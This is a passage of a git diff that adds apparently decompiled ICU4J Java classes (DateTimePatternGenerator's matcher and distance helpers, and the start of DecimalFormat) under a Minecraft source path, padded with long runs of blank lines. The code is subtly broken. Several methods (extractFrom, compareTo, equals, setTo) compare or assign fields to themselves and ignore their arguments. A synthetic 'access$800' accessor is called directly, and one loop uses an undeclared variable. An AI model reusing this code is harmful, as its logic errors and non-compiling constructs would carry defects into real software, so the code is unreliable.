+  private static final int[][] types = { { 71, 0, 65278, 1, 3 }, { 71, 0, 65277, 4 }, { 121, 1, 256, 1, 20 }, { 89, 1, 272, 1, 20 }, { 117, 1, 288, 1, 20 }, { 85, 1, 65278, 1, 3 }, { 85, 1, 65277, 4 }, { 85, 1, 65279, 5 }, { 81, 2, 256, 1, 2 }, { 81, 2, 65278, 3 }, { 81, 2, 65277, 4 }, { 113, 2, 272, 1, 2 }, { 113, 2, 65294, 3 }, { 113, 2, 65293, 4 }, { 77, 3, 256, 1, 2 }, { 77, 3, 65278, 3 }, { 77, 3, 65277, 4 }, { 77, 3, 65279, 5 }, { 76, 3, 272, 1, 2 }, { 76, 3, 65262, 3 }, { 76, 3, 65261, 4 }, { 76, 3, 65263, 5 }, { 108, 3, 272, 1, 1 }, { 119, 4, 256, 1, 2 }, { 87, 5, 272, 1 }, { 69, 6, 65278, 1, 3 }, { 69, 6, 65277, 4 }, { 69, 6, 65279, 5 }, { 99, 6, 288, 1, 2 }, { 99, 6, 65246, 3 }, { 99, 6, 65245, 4 }, { 99, 6, 65247, 5 }, { 101, 6, 272, 1, 2 }, { 101, 6, 65262, 3 }, { 101, 6, 65261, 4 }, { 101, 6, 65263, 5 }, { 100, 7, 256, 1, 2 }, { 68, 8, 272, 1, 3 }, { 70, 9, 288, 1 }, { 103, 7, 304, 1, 20 }, { 97, 10, 65278, 1 }, { 72, 11, 416, 1, 2 }, { 107, 11, 432, 1, 2 }, { 104, 11, 256, 1, 2 }, { 75, 11, 272, 1, 2 }, { 109, 12, 256, 1, 2 }, { 115, 13, 256, 1, 2 }, { 83, 14, 272, 1, 1000 }, { 65, 13, 288, 1, 1000 }, { 118, 15, 65246, 1 }, { 118, 15, 65245, 4 }, { 122, 15, 65278, 1, 3 }, { 122, 15, 65277, 4 }, { 90, 15, 65262, 1, 3 }, { 90, 15, 65261, 4 }, { 86, 15, 65262, 1, 3 }, { 86, 15, 65261, 4 } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static class DateTimeMatcher
+    implements Comparable<DateTimeMatcher>
+  {
+    private int[] type = new int[16];
+    private String[] original = new String[16];
+    private String[] baseOriginal = new String[16];
+    
+    private DateTimeMatcher() {}
+    
+    public String origStringForField(int field)
+    {
+      return original[field];
+    }
+    
+    public boolean fieldIsNumeric(int field) {
+      return type[field] > 0;
+    }
+    
+    public String toString() {
+      StringBuilder result = new StringBuilder();
+      for (int i = 0; i < 16; i++) {
+        if (original[i].length() != 0) result.append(original[i]);
+      }
+      return result.toString();
+    }
+    
+
+
+    public String toCanonicalString()
+    {
+      StringBuilder result = new StringBuilder();
+      for (int i = 0; i < 16; i++) {
+        if (original[i].length() != 0)
+        {
+          for (int j = 0; j < DateTimePatternGenerator.types.length; j++) {
+            int[] row = DateTimePatternGenerator.types[j];
+            if (row[1] == i) {
+              char originalChar = original[i].charAt(0);
+              char repeatChar = (originalChar == 'h') || (originalChar == 'K') ? 'h' : (char)row[0];
+              result.append(Utility.repeat(String.valueOf(repeatChar), original[i].length()));
+              break;
+            }
+          }
+        }
+      }
+      return result.toString();
+    }
+    
+    String getBasePattern() {
+      StringBuilder result = new StringBuilder();
+      for (int i = 0; i < 16; i++) {
+        if (baseOriginal[i].length() != 0) result.append(baseOriginal[i]);
+      }
+      return result.toString();
+    }
+    
+    DateTimeMatcher set(String pattern, DateTimePatternGenerator.FormatParser fp, boolean allowDuplicateFields) {
+      for (int i = 0; i < 16; i++) {
+        type[i] = 0;
+        original[i] = "";
+        baseOriginal[i] = "";
+      }
+      fp.set(pattern);
+      for (Object obj : fp.getItems())
+        if ((obj instanceof DateTimePatternGenerator.VariableField))
+        {
+
+          DateTimePatternGenerator.VariableField item = (DateTimePatternGenerator.VariableField)obj;
+          String field = item.toString();
+          if (field.charAt(0) != 'a') {
+            int canonicalIndex = DateTimePatternGenerator.VariableField.access$800(item);
+            
+
+
+
+            int[] row = DateTimePatternGenerator.types[canonicalIndex];
+            int typeValue = row[1];
+            if (original[typeValue].length() != 0) {
+              if (!allowDuplicateFields)
+              {
+
+                throw new IllegalArgumentException("Conflicting fields:\t" + original[typeValue] + ", " + field + "\t in " + pattern);
+              }
+            } else {
+              original[typeValue] = field;
+              char repeatChar = (char)row[0];
+              int repeatCount = row[3];
+              
+              if ("GEzvQ".indexOf(repeatChar) >= 0) repeatCount = 1;
+              baseOriginal[typeValue] = Utility.repeat(String.valueOf(repeatChar), repeatCount);
+              int subTypeValue = row[2];
+              if (subTypeValue > 0) subTypeValue += field.length();
+              type[typeValue] = subTypeValue;
+            } } }
+      return this;
+    }
+    
+
+
+    int getFieldMask()
+    {
+      int result = 0;
+      for (int i = 0; i < type.length; i++) {
+        if (type[i] != 0) result |= 1 << i;
+      }
+      return result;
+    }
+    
+
+
+
+    void extractFrom(DateTimeMatcher source, int fieldMask)
+    {
+      for (int i = 0; i < type.length; i++) {
+        if ((fieldMask & 1 << i) != 0) {
+          type[i] = type[i];
+          original[i] = original[i];
+        } else {
+          type[i] = 0;
+          original[i] = "";
+        }
+      }
+    }
+    
+    int getDistance(DateTimeMatcher other, int includeMask, DateTimePatternGenerator.DistanceInfo distanceInfo) {
+      int result = 0;
+      distanceInfo.clear();
+      for (int i = 0; i < type.length; i++) {
+        int myType = (includeMask & 1 << i) == 0 ? 0 : type[i];
+        int otherType = type[i];
+        if (myType != otherType)
+          if (myType == 0) {
+            result += 65536;
+            distanceInfo.addExtra(i);
+          } else if (otherType == 0) {
+            result += 4096;
+            distanceInfo.addMissing(i);
+          } else {
+            result += Math.abs(myType - otherType);
+          }
+      }
+      return result;
+    }
+    
+    public int compareTo(DateTimeMatcher that) {
+      for (int i = 0; i < original.length; i++) {
+        int comp = original[i].compareTo(original[i]);
+        if (comp != 0) return -comp;
+      }
+      return 0;
+    }
+    
+    public boolean equals(Object other) {
+      if (!(other instanceof DateTimeMatcher)) {
+        return false;
+      }
+      DateTimeMatcher that = (DateTimeMatcher)other;
+      for (int i = 0; i < original.length; i++) {
+        if (!original[i].equals(original[i])) return false;
+      }
+      return true;
+    }
+    
+    public int hashCode() { int result = 0;
+      for (int i = 0; i < original.length; i++) {
+        result ^= original[i].hashCode();
+      }
+      return result;
+    } }
+  
+  private static class DistanceInfo { int missingFieldMask;
+    int extraFieldMask;
+    
+    private DistanceInfo() {}
+    
+    void clear() { missingFieldMask = (this.extraFieldMask = 0); }
+    
+
+
+    void setTo(DistanceInfo other)
+    {
+      missingFieldMask = missingFieldMask;
+      extraFieldMask = extraFieldMask;
+    }
+    
+    void addMissing(int field) { missingFieldMask |= 1 << field; }
+    
+    void addExtra(int field) {
+      extraFieldMask |= 1 << field;
+    }
+    
+    public String toString() { return "missingFieldMask: " + DateTimePatternGenerator.showMask(missingFieldMask) + ", extraFieldMask: " + DateTimePatternGenerator.showMask(extraFieldMask); }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/DecimalFormat.java b/src/minecraft/com/ibm/icu/text/DecimalFormat.java
new file mode 100644
index 0000000..5d16c93
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/DecimalFormat.java
@@ -0,0 +1,5737 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUConfig;
+import com.ibm.icu.impl.PatternProps;
+import com.ibm.icu.impl.Utility;
+import com.ibm.icu.lang.UCharacter;
+import com.ibm.icu.util.Currency;
+import com.ibm.icu.util.CurrencyAmount;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.math.BigInteger;
+import java.math.RoundingMode;
+import java.text.AttributedCharacterIterator;
+import java.text.AttributedString;
+import java.text.ChoiceFormat;
+import java.text.FieldPosition;
+import java.text.Format.Field;
+import java.text.ParsePosition;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DecimalFormat
+  extends NumberFormat
+{
+  public DecimalFormat()
+  {
+    ULocale def = ULocale.getDefault(ULocale.Category.FORMAT);
+    String pattern = getPattern(def, 0);
+    
+    symbols = new DecimalFormatSymbols(def);
+    setCurrency(Currency.getInstance(def));
+    applyPatternWithoutExpandAffix(pattern, false);
+    if (currencySignCount == 3) {
+      currencyPluralInfo = new CurrencyPluralInfo(def);
+    }
+    else
+    {
+      expandAffixAdjustWidth(null);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public DecimalFormat(String pattern)
+  {
+    ULocale def = ULocale.getDefault(ULocale.Category.FORMAT);
+    symbols = new DecimalFormatSymbols(def);
+    setCurrency(Currency.getInstance(def));
+    applyPatternWithoutExpandAffix(pattern, false);
+    if (currencySignCount == 3) {
+      currencyPluralInfo = new CurrencyPluralInfo(def);
+    } else {
+      expandAffixAdjustWidth(null);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public DecimalFormat(String pattern, DecimalFormatSymbols symbols)
+  {
+    createFromPatternAndSymbols(pattern, symbols);
+  }
+  
+  private void createFromPatternAndSymbols(String pattern, DecimalFormatSymbols inputSymbols)
+  {
+    symbols = ((DecimalFormatSymbols)inputSymbols.clone());
+    setCurrencyForSymbols();
+    applyPatternWithoutExpandAffix(pattern, false);
+    if (currencySignCount == 3) {
+      currencyPluralInfo = new CurrencyPluralInfo(symbols.getULocale());
+    } else {
+      expandAffixAdjustWidth(null);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public DecimalFormat(String pattern, DecimalFormatSymbols symbols, CurrencyPluralInfo infoInput, int style)
+  {
+    CurrencyPluralInfo info = infoInput;
+    if (style == 6) {
+      info = (CurrencyPluralInfo)infoInput.clone();
+    }
+    create(pattern, symbols, info, style);
+  }
+  
+  private void create(String pattern, DecimalFormatSymbols inputSymbols, CurrencyPluralInfo info, int inputStyle)
+  {
+    if (inputStyle != 6) {
+      createFromPatternAndSymbols(pattern, inputSymbols);
+    }
+    else {
+      symbols = ((DecimalFormatSymbols)inputSymbols.clone());
+      currencyPluralInfo = info;
+      
+
+
+
+
+      String currencyPluralPatternForOther = currencyPluralInfo.getCurrencyPluralPattern("other");
+      
+      applyPatternWithoutExpandAffix(currencyPluralPatternForOther, false);
+      setCurrencyForSymbols();
+    }
+    style = inputStyle;
+  }
+  
+
+
+
+  DecimalFormat(String pattern, DecimalFormatSymbols inputSymbols, int style)
+  {
+    CurrencyPluralInfo info = null;
+    if (style == 6) {
+      info = new CurrencyPluralInfo(inputSymbols.getULocale());
+    }
+    create(pattern, inputSymbols, info, style);
+  }
+  
+
+
+
+
+  public StringBuffer format(double number, StringBuffer result, FieldPosition fieldPosition)
+  {
+    return format(number, result, fieldPosition, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+  private boolean isNegative(double number)
+  {
+    return (number < 0.0D) || ((number == 0.0D) && (1.0D / number < 0.0D));
+  }
+  
+
+  private double round(double number)
+  {
+    boolean isNegative = isNegative(number);
+    if (isNegative) {
+      number = -number;
+    }
+    
+    if (roundingDouble > 0.0D)
+    {
+
+      return round(number, roundingDouble, roundingDoubleReciprocal, roundingMode, isNegative);
+    }
+    
+
+    return number;
+  }
+  
+
+  private double multiply(double number)
+  {
+    if (multiplier != 1) {
+      return number * multiplier;
+    }
+    return number;
+  }
+  
+
+
+  private StringBuffer format(double number, StringBuffer result, FieldPosition fieldPosition, boolean parseAttr)
+  {
+    fieldPosition.setBeginIndex(0);
+    fieldPosition.setEndIndex(0);
+    
+    if (Double.isNaN(number)) {
+      if (fieldPosition.getField() == 0) {
+        fieldPosition.setBeginIndex(result.length());
+      } else if (fieldPosition.getFieldAttribute() == NumberFormat.Field.INTEGER) {
+        fieldPosition.setBeginIndex(result.length());
+      }
+      
+      result.append(symbols.getNaN());
+      
+
+      if (parseAttr) {
+        addAttribute(NumberFormat.Field.INTEGER, result.length() - symbols.getNaN().length(), result.length());
+      }
+      
+      if (fieldPosition.getField() == 0) {
+        fieldPosition.setEndIndex(result.length());
+      } else if (fieldPosition.getFieldAttribute() == NumberFormat.Field.INTEGER) {
+        fieldPosition.setEndIndex(result.length());
+      }
+      
+      addPadding(result, fieldPosition, 0, 0);
+      return result;
+    }
+    
+
+
+    number = multiply(number);
+    boolean isNegative = isNegative(number);
+    number = round(number);
+    
+    if (Double.isInfinite(number)) {
+      int prefixLen = appendAffix(result, isNegative, true, parseAttr);
+      
+      if (fieldPosition.getField() == 0) {
+        fieldPosition.setBeginIndex(result.length());
+      } else if (fieldPosition.getFieldAttribute() == NumberFormat.Field.INTEGER) {
+        fieldPosition.setBeginIndex(result.length());
+      }
+      
+
+      result.append(symbols.getInfinity());
+      if (parseAttr) {
+        addAttribute(NumberFormat.Field.INTEGER, result.length() - symbols.getInfinity().length(), result.length());
+      }
+      
+      if (fieldPosition.getField() == 0) {
+        fieldPosition.setEndIndex(result.length());
+      } else if (fieldPosition.getFieldAttribute() == NumberFormat.Field.INTEGER) {
+        fieldPosition.setEndIndex(result.length());
+      }
+      
+      int suffixLen = appendAffix(result, isNegative, false, parseAttr);
+      
+      addPadding(result, fieldPosition, prefixLen, suffixLen);
+      return result;
+    }
+    
+
+
+    synchronized (digitList) {
+      digitList.set(number, precision(false), (!useExponentialNotation) && (!areSignificantDigitsUsed()));
+      
+      return subformat(number, result, fieldPosition, isNegative, false, parseAttr);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  double adjustNumberAsInFormatting(double number)
+  {
+    if (Double.isNaN(number)) {
+      return number;
+    }
+    number = round(multiply(number));
+    if (Double.isInfinite(number)) {
+      return number;
+    }
+    DigitList dl = new DigitList();
+    dl.set(number, precision(false), false);
+    return dl.getDouble();
+  }
+  
+
+
+
+
+
+
+
+
+  @Deprecated
+  boolean isNumberNegative(double number)
+  {
+    if (Double.isNaN(number)) {
+      return false;
+    }
+    return isNegative(multiply(number));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static double round(double number, double roundingInc, double roundingIncReciprocal, int mode, boolean isNegative)
+  {
+    double div = roundingIncReciprocal == 0.0D ? number / roundingInc : number * roundingIncReciprocal;
+    
+
+
+
+    switch (mode) {
+    case 2: 
+      div = isNegative ? Math.floor(div + epsilon) : Math.ceil(div - epsilon);
+      break;
+    case 3: 
+      div = isNegative ? Math.ceil(div - epsilon) : Math.floor(div + epsilon);
+      break;
+    case 1: 
+      div = Math.floor(div + epsilon);
+      break;
+    case 0: 
+      div = Math.ceil(div - epsilon);
+      break;
+    case 7: 
+      if (div != Math.floor(div)) {
+        throw new ArithmeticException("Rounding necessary");
+      }
+      return number;
+    
+
+
+
+    case 4: 
+    case 5: 
+    case 6: 
+    default: 
+      double ceil = Math.ceil(div);
+      double ceildiff = ceil - div;
+      double floor = Math.floor(div);
+      double floordiff = div - floor;
+      
+
+
+
+
+
+
+
+      switch (mode)
+      {
+
+
+      case 6: 
+        if (floordiff + epsilon < ceildiff) {
+          div = floor;
+        } else if (ceildiff + epsilon < floordiff) {
+          div = ceil;
+        } else {
+          double testFloor = floor / 2.0D;
+          div = testFloor == Math.floor(testFloor) ? floor : ceil;
+        }
+        break;
+      case 5: 
+        div = floordiff <= ceildiff + epsilon ? floor : ceil;
+        break;
+      case 4: 
+        div = ceildiff <= floordiff + epsilon ? ceil : floor;
+        break;
+      default: 
+        throw new IllegalArgumentException("Invalid rounding mode: " + mode); }
+      
+      break; }
+    number = roundingIncReciprocal == 0.0D ? div * roundingInc : div / roundingIncReciprocal;
+    return number;
+  }
+  
+  private static double epsilon = 1.0E-11D;
+  
+  private static final int CURRENCY_SIGN_COUNT_IN_SYMBOL_FORMAT = 1;
+  private static final int CURRENCY_SIGN_COUNT_IN_ISO_FORMAT = 2;
+  private static final int CURRENCY_SIGN_COUNT_IN_PLURAL_FORMAT = 3;
+  
+  public StringBuffer format(long number, StringBuffer result, FieldPosition fieldPosition)
+  {
+    return format(number, result, fieldPosition, false);
+  }
+  
+  private StringBuffer format(long number, StringBuffer result, FieldPosition fieldPosition, boolean parseAttr)
+  {
+    fieldPosition.setBeginIndex(0);
+    fieldPosition.setEndIndex(0);
+    
+
+
+    if (roundingIncrementICU != null) {
+      return format(com.ibm.icu.math.BigDecimal.valueOf(number), result, fieldPosition);
+    }
+    
+    boolean isNegative = number < 0L;
+    if (isNegative) {
+      number = -number;
+    }
+    
+
+
+
+
+    if (multiplier != 1) {
+      boolean tooBig = false;
+      if (number < 0L) {
+        long cutoff = Long.MIN_VALUE / multiplier;
+        tooBig = number <= cutoff;
+      } else {
+        long cutoff = Long.MAX_VALUE / multiplier;
+        tooBig = number > cutoff;
+      }
+      if (tooBig)
+      {
+
+
+        return format(BigInteger.valueOf(isNegative ? -number : number), result, fieldPosition, parseAttr);
+      }
+    }
+    
+
+    number *= multiplier;
+    synchronized (digitList) {
+      digitList.set(number, precision(true));
+      return subformat(number, result, fieldPosition, isNegative, true, parseAttr);
+    }
+  }
+  
+
+
+
+
+
+
+  public StringBuffer format(BigInteger number, StringBuffer result, FieldPosition fieldPosition)
+  {
+    return format(number, result, fieldPosition, false);
+  }
+  
+
+
+  private StringBuffer format(BigInteger number, StringBuffer result, FieldPosition fieldPosition, boolean parseAttr)
+  {
+    if (roundingIncrementICU != null) {
+      return format(new com.ibm.icu.math.BigDecimal(number), result, fieldPosition);
+    }
+    
+    if (multiplier != 1) {
+      number = number.multiply(BigInteger.valueOf(multiplier));
+    }
+    
+
+
+    synchronized (digitList) {
+      digitList.set(number, precision(true));
+      return subformat(number.intValue(), result, fieldPosition, number.signum() < 0, true, parseAttr);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public StringBuffer format(java.math.BigDecimal number, StringBuffer result, FieldPosition fieldPosition)
+  {
+    return format(number, result, fieldPosition, false);
+  }
+  
+
+  private StringBuffer format(java.math.BigDecimal number, StringBuffer result, FieldPosition fieldPosition, boolean parseAttr)
+  {
+    if (multiplier != 1) {
+      number = number.multiply(java.math.BigDecimal.valueOf(multiplier));
+    }
+    
+    if (roundingIncrement != null) {
+      number = number.divide(roundingIncrement, 0, roundingMode).multiply(roundingIncrement);
+    }
+    
+    synchronized (digitList) {
+      digitList.set(number, precision(false), (!useExponentialNotation) && (!areSignificantDigitsUsed()));
+      
+      return subformat(number.doubleValue(), result, fieldPosition, number.signum() < 0, false, parseAttr);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public StringBuffer format(com.ibm.icu.math.BigDecimal number, StringBuffer result, FieldPosition fieldPosition)
+  {
+    if (multiplier != 1) {
+      number = number.multiply(com.ibm.icu.math.BigDecimal.valueOf(multiplier), mathContext);
+    }
+    
+    if (roundingIncrementICU != null) {
+      number = number.divide(roundingIncrementICU, 0, roundingMode).multiply(roundingIncrementICU, mathContext);
+    }
+    
+
+    synchronized (digitList) {
+      digitList.set(number, precision(false), (!useExponentialNotation) && (!areSignificantDigitsUsed()));
+      
+      return subformat(number.doubleValue(), result, fieldPosition, number.signum() < 0, false, false);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private boolean isGroupingPosition(int pos)
+  {
+    boolean result = false;
+    if ((isGroupingUsed()) && (pos > 0) && (groupingSize > 0)) {
+      if ((groupingSize2 > 0) && (pos > groupingSize)) {
+        result = (pos - groupingSize) % groupingSize2 == 0;
+      } else {
+        result = pos % groupingSize == 0;
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+  private int precision(boolean isIntegral)
+  {
+    if (areSignificantDigitsUsed())
+      return getMaximumSignificantDigits();
+    if (useExponentialNotation) {
+      return getMinimumIntegerDigits() + getMaximumFractionDigits();
+    }
+    return isIntegral ? 0 : getMaximumFractionDigits();
+  }
+  
+
+  private StringBuffer subformat(int number, StringBuffer result, FieldPosition fieldPosition, boolean isNegative, boolean isInteger, boolean parseAttr)
+  {
+    if (currencySignCount == 3) {
+      return subformat(currencyPluralInfo.select(number), result, fieldPosition, isNegative, isInteger, parseAttr);
+    }
+    
+    return subformat(result, fieldPosition, isNegative, isInteger, parseAttr);
+  }
+  
+
+
+  private StringBuffer subformat(double number, StringBuffer result, FieldPosition fieldPosition, boolean isNegative, boolean isInteger, boolean parseAttr)
+  {
+    if (currencySignCount == 3) {
+      return subformat(currencyPluralInfo.select(number), result, fieldPosition, isNegative, isInteger, parseAttr);
+    }
+    
+    return subformat(result, fieldPosition, isNegative, isInteger, parseAttr);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private StringBuffer subformat(String pluralCount, StringBuffer result, FieldPosition fieldPosition, boolean isNegative, boolean isInteger, boolean parseAttr)
+  {
+    if (style == 6)
+    {
+      String currencyPluralPattern = currencyPluralInfo.getCurrencyPluralPattern(pluralCount);
+      if (!formatPattern.equals(currencyPluralPattern)) {
+        applyPatternWithoutExpandAffix(currencyPluralPattern, false);
+      }
+    }
+    
+
+
+
+
+
+    expandAffixAdjustWidth(pluralCount);
+    return subformat(result, fieldPosition, isNegative, isInteger, parseAttr);
+  }
+  
+
+
+
+
+  private static final int STATUS_INFINITE = 0;
+  
+
+
+
+  private static final int STATUS_POSITIVE = 1;
+  
+
+
+
+  private static final int STATUS_UNDERFLOW = 2;
+  
+
+
+
+  private static final int STATUS_LENGTH = 3;
+  
+
+
+
+  private StringBuffer subformat(StringBuffer result, FieldPosition fieldPosition, boolean isNegative, boolean isInteger, boolean parseAttr)
+  {
+    if (digitList.isZero()) {
+      digitList.decimalAt = 0;
+    }
+    
+    int prefixLen = appendAffix(result, isNegative, true, parseAttr);
+    
+    if (useExponentialNotation) {
+      subformatExponential(result, fieldPosition, parseAttr);
+    } else {
+      subformatFixed(result, fieldPosition, isInteger, parseAttr);
+    }
+    
+    int suffixLen = appendAffix(result, isNegative, false, parseAttr);
+    
+    addPadding(result, fieldPosition, prefixLen, suffixLen);
+    return result;
+  }
+  
+
+
+  private void subformatFixed(StringBuffer result, FieldPosition fieldPosition, boolean isInteger, boolean parseAttr)
+  {
+    char[] digits = symbols.getDigitsLocal();
+    
+    char grouping = currencySignCount > 0 ? symbols.getMonetaryGroupingSeparator() : symbols.getGroupingSeparator();
+    
+    char decimal = currencySignCount > 0 ? symbols.getMonetaryDecimalSeparator() : symbols.getDecimalSeparator();
+    
+    boolean useSigDig = areSignificantDigitsUsed();
+    int maxIntDig = getMaximumIntegerDigits();
+    int minIntDig = getMinimumIntegerDigits();
+    
+
+    int intBegin = result.length();
+    
+    if (fieldPosition.getField() == 0) {
+      fieldPosition.setBeginIndex(result.length());
+    } else if (fieldPosition.getFieldAttribute() == NumberFormat.Field.INTEGER) {
+      fieldPosition.setBeginIndex(result.length());
+    }
+    
+    int sigCount = 0;
+    int minSigDig = getMinimumSignificantDigits();
+    int maxSigDig = getMaximumSignificantDigits();
+    if (!useSigDig) {
+      minSigDig = 0;
+      maxSigDig = Integer.MAX_VALUE;
+    }
+    
+
+
+
+    int count = useSigDig ? Math.max(1, digitList.decimalAt) : minIntDig;
+    if ((digitList.decimalAt > 0) && (count < digitList.decimalAt)) {
+      count = digitList.decimalAt;
+    }
+    
+
+
+
+
+
+    int digitIndex = 0;
+    if ((count > maxIntDig) && (maxIntDig >= 0)) {
+      count = maxIntDig;
+      digitIndex = digitList.decimalAt - count;
+    }
+    
+    int sizeBeforeIntegerPart = result.length();
+    for (int i = count - 1; i >= 0; i--) {
+      if ((i < digitList.decimalAt) && (digitIndex < digitList.count) && (sigCount < maxSigDig))
+      {
+
+        result.append(digits[digitList.getDigitValue(digitIndex++)]);
+        sigCount++;
+      }
+      else {
+        result.append(digits[0]);
+        if (sigCount > 0) {
+          sigCount++;
+        }
+      }
+      
+
+      if (isGroupingPosition(i)) {
+        result.append(grouping);
+        
+        if (parseAttr)
+        {
+          addAttribute(NumberFormat.Field.GROUPING_SEPARATOR, result.length() - 1, result.length());
+        }
+      }
+    }
+    
+
+    if (fieldPosition.getField() == 0) {
+      fieldPosition.setEndIndex(result.length());
+    } else if (fieldPosition.getFieldAttribute() == NumberFormat.Field.INTEGER) {
+      fieldPosition.setEndIndex(result.length());
+    }
+    
+
+
+    boolean fractionPresent = ((!isInteger) && (digitIndex < digitList.count)) || (useSigDig ? sigCount < minSigDig : getMinimumFractionDigits() > 0);
+    
+
+
+
+
+    if ((!fractionPresent) && (result.length() == sizeBeforeIntegerPart)) {
+      result.append(digits[0]);
+    }
+    if (parseAttr) {
+      addAttribute(NumberFormat.Field.INTEGER, intBegin, result.length());
+    }
+    
+    if ((decimalSeparatorAlwaysShown) || (fractionPresent)) {
+      if (fieldPosition.getFieldAttribute() == NumberFormat.Field.DECIMAL_SEPARATOR) {
+        fieldPosition.setBeginIndex(result.length());
+      }
+      result.append(decimal);
+      if (fieldPosition.getFieldAttribute() == NumberFormat.Field.DECIMAL_SEPARATOR) {
+        fieldPosition.setEndIndex(result.length());
+      }
+      
+      if (parseAttr) {
+        addAttribute(NumberFormat.Field.DECIMAL_SEPARATOR, result.length() - 1, result.length());
+      }
+    }
+    
+
+    if (fieldPosition.getField() == 1) {
+      fieldPosition.setBeginIndex(result.length());
+    } else if (fieldPosition.getFieldAttribute() == NumberFormat.Field.FRACTION) {
+      fieldPosition.setBeginIndex(result.length());
+    }
+    
+
+    int fracBegin = result.length();
+    
+    count = useSigDig ? Integer.MAX_VALUE : getMaximumFractionDigits();
+    if ((useSigDig) && ((sigCount == maxSigDig) || ((sigCount >= minSigDig) && (digitIndex == digitList.count))))
+    {
+      count = 0;
+    }
+    for (i = 0; i < count; i++)
+    {
+
+
+
+
+      if ((!useSigDig) && (i >= getMinimumFractionDigits()) && ((isInteger) || (digitIndex >= digitList.count))) {
+        break;
+      }
+      
+
+
+
+
+      if (-1 - i > digitList.decimalAt - 1) {
+        result.append(digits[0]);
+
+      }
+      else
+      {
+
+        if ((!isInteger) && (digitIndex < digitList.count)) {
+          result.append(digits[digitList.getDigitValue(digitIndex++)]);
+        } else {
+          result.append(digits[0]);
+        }
+        
+
+
+        sigCount++;
+        if ((useSigDig) && ((sigCount == maxSigDig) || ((digitIndex == digitList.count) && (sigCount >= minSigDig)))) {
+          break;
+        }
+      }
+    }
+    
+
+    if (fieldPosition.getField() == 1) {
+      fieldPosition.setEndIndex(result.length());
+    } else if (fieldPosition.getFieldAttribute() == NumberFormat.Field.FRACTION) {
+      fieldPosition.setEndIndex(result.length());
+    }
+    
+
+    if ((parseAttr) && ((decimalSeparatorAlwaysShown) || (fractionPresent))) {
+      addAttribute(NumberFormat.Field.FRACTION, fracBegin, result.length());
+    }
+  }
+  
+
+  private void subformatExponential(StringBuffer result, FieldPosition fieldPosition, boolean parseAttr)
+  {
+    char[] digits = symbols.getDigitsLocal();
+    char decimal = currencySignCount > 0 ? symbols.getMonetaryDecimalSeparator() : symbols.getDecimalSeparator();
+    
+    boolean useSigDig = areSignificantDigitsUsed();
+    int maxIntDig = getMaximumIntegerDigits();
+    int minIntDig = getMinimumIntegerDigits();
+    
+
+    if (fieldPosition.getField() == 0) {
+      fieldPosition.setBeginIndex(result.length());
